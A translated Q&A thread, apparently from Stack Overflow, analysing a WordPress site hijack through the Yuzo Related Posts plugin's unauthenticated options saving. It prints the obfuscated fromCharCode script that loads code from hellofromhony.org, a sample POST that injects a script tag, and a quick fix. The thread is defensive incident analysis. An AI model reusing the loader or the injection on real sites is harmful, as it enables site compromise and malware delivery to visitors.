Уязвимость в закрытом плагине Yuzo Related Posts

Около часа назад страница Wordpress, которой я управляю, начала перенаправляться на страницы рекламы и вредоносного ПО.

Я нашел источник перенаправления, хочу помочь другим пострадавшим, и мне нужна помощь в поиске фактической уязвимости и/или исправления.

Перенаправление происходит после завершения загрузки сайта, поэтому я искал фрагмент кода JavaScript на странице и сомнительные перенаправления в анализаторе сети. Очевидными вредоносными переадресациями были: hellofromhony.org, thebiggestfavoritemake.com, nnatrevaleur.tk и сайт, пытающийся перехватить мое текущее местоположение (хотя не смог воспроизвести его более одного раза).

Мне удалось отследить перенаправления вплоть до исходящего от https://hellofromhony.org/counter, который встроен через фрагмент кода.

Фрагмент был встроен в wp_options в запись с ключом «yuzo_related_post_options» — точнее, встроен в параметр json «yuzo_related_post_css_and_style» в option_value. Эта опция отображается без дезинфекции.

Эта опция является частью плагина Yuzo Related Posts Plugin, поддержка которого была прекращена около недели назад: https://wordpress.org/plugins/yuzo-related-post/

Удаление этого плагина немедленно остановило перенаправление, я не смог найти других следов вмешательства в сайт.

Фрагмент, который был в option_value:

</style><script language=javascript>eval(String.fromCharCode(118, 97, 114, 32, 100, 100, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 49, 53, 44, 32, 57, 57, 44, 32, 49, 49, 52, 44, 32, 49, 48, 53, 44, 32, 49, 49, 50, 44, 32, 49, 49, 54, 41, 59, 118, 97, 114, 32, 101, 108, 101, 109, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 100, 100, 41, 59, 32, 118, 97, 114, 32, 104, 104, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 52, 44, 32, 49, 48, 49, 44, 32, 57, 55, 44, 32, 49, 48, 48, 41, 59, 118, 97, 114, 32, 122, 122, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 49, 54, 44, 32, 49, 48, 49, 44, 32, 49, 50, 48, 44, 32, 49, 49, 54, 44, 32, 52, 55, 44, 32, 49, 48, 54, 44, 32, 57, 55, 44, 32, 49, 49, 56, 44, 32, 57, 55, 44, 32, 49, 49, 53, 44, 32, 57, 57, 44, 32, 49, 49, 52, 44, 32, 49, 48, 53, 44, 32, 49, 49, 50, 44, 32, 49, 49, 54, 41, 59, 101, 108, 101, 109, 46, 116, 121, 112, 101, 32, 61, 32, 122, 122, 59, 32, 101, 108, 101, 109, 46, 97, 115, 121, 110, 99, 32, 61, 32, 116, 114, 117, 101, 59, 101, 108, 101, 109, 46, 115, 114, 99, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 49, 48, 52, 44, 32, 49, 48, 49, 44, 32, 49, 48, 56, 44, 32, 49, 48, 56, 44, 32, 49, 49, 49, 44, 32, 49, 48, 50, 44, 32, 49, 49, 52, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 49, 48, 52, 44, 32, 49, 49, 49, 44, 32, 49, 49, 48, 44, 32, 49, 50, 49, 44, 32, 52, 54, 44, 32, 49, 49, 49, 44, 32, 49, 49, 52, 44, 32, 49, 48, 51, 44, 32, 52, 55, 44, 32, 57, 57, 44, 32, 49, 49, 49, 44, 32, 49, 49, 55, 44, 32, 49, 49, 48, 44, 32, 49, 49, 54, 44, 32, 49, 48, 49, 44, 32, 49, 49, 52, 41, 59, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 104, 104, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 101, 108, 101, 109, 41, 59));</script>

Хотя удаление плагина представляет собой быстрое исправление, я хочу погрузиться глубже, чтобы убедиться, что не было доступа к базе данных, серверной части и веб-пространству.

Во время расследования и написания этого поста на доске wordpress.org появилось две темы: wordpress.org/support/plugin/yuzo-related-post

fealXX 10.04.2019 12:44

Об этом тоже кто-то писал еще 30 марта. pluginvulnerabilities.com/2019/03/30/…

Hang Guan 10.04.2019 13:29

Красиво, спасибо, не нашел такого при гуглении известных уязвимостей. Добавил это к моему ответу ниже, так что Google свяжет это... :)

fealXX 10.04.2019 13:37

Правильно ли я предполагаю, что можно манипулировать только параметрами wp, относящимися к самому плагину? Я пытаюсь найти максимальный охват уязвимости.

Hendrik 10.04.2019 14:53

Для справки, это полезная нагрузка, обслуживаемая упомянутым эксплойтом, размещенным на hellofromhony.org: gist.github.com/stefan2904/a31a676b6fc202d2c6428acd728ad791.

Stefan 10.04.2019 15:36

@ Хендрик, да, это правильно. Wordpress автоматически добавляет к параметрам префикс идентификатора плагина, поэтому с помощью этой простой атаки можно изменить только параметры, принадлежащие плагину.

fealXX 10.04.2019 15:51

похоже, что hellofromhony.org/scriptmyjs?t=1&/wp-includes/js/jquery/… вызывает проблему на сайте, который я только что изучал с этой проблемой. Эта ссылка не предоставляет jquery.

Pat Mc 10.04.2019 20:44

также кажется, что этот URL-адрес будет отвечать одной и той же полезной нагрузкой независимо от строки запроса.

Pat Mc 10.04.2019 20:47

К сожалению, Stack Overflow не подходит для вопросов помогите мне найти уязвимости в этом случайном плагине. Мы можем ответить на конкретные, целенаправленные вопросы в ограниченном объеме.

Martijn Pieters 24.04.2019 18:29
Как убрать количество товаров в категории WooCommerce
Как убрать количество товаров в категории WooCommerce
По умолчанию WooCommerce показывает количество товаров рядом с категорией, как показано ниже.
15
9
4 095
1
Перейти к ответу Данный вопрос помечен как решенный

Ответы 1

Ответ принят как подходящий

Я верю, что только что нашел это: Плагин Юдзо Похожие сообщения не проверяет аутентификацию при сохранении параметров.

Так POSTing

yuzo_related_post_css_and_style=</style><script+language=javascript>alert('hacked');</script> 

to /wp-admin/options-general.php?page=yuzo-related-post получится, даже если вы не вошли в систему.

Плагин использует is_admin() для проверки подлинности, но это «ложный друг» и проверяет только, находится ли страница, к которой осуществляется доступ, в области администратора, а не аутентифицирован (или авторизован) пользователь. См. Документация Wordpress.

Быстрое решение для продолжения использования плагина — просто удалить параметр настроек, поставив false в if-Statement в /assets/functions/options.php строке 1155:

    function __construct(){

        global $if_utils;

        $this->utils = $if_utils;

        if (false/* is_admin() */)
            self::configuration_plugin();
        else
            self::parameters();

    }

Обновлять:

Ханг Гуан указал на сообщение в блоге об этой проблеме с прошлой недели, похоже, что он сейчас «в дикой природе».

В зависимости от вашего WP, эксплойт также нацелен на /wp-admin/admin-post.php?page=yuzo-related-post ...

Stefan 10.04.2019 15:53

Другие вопросы по теме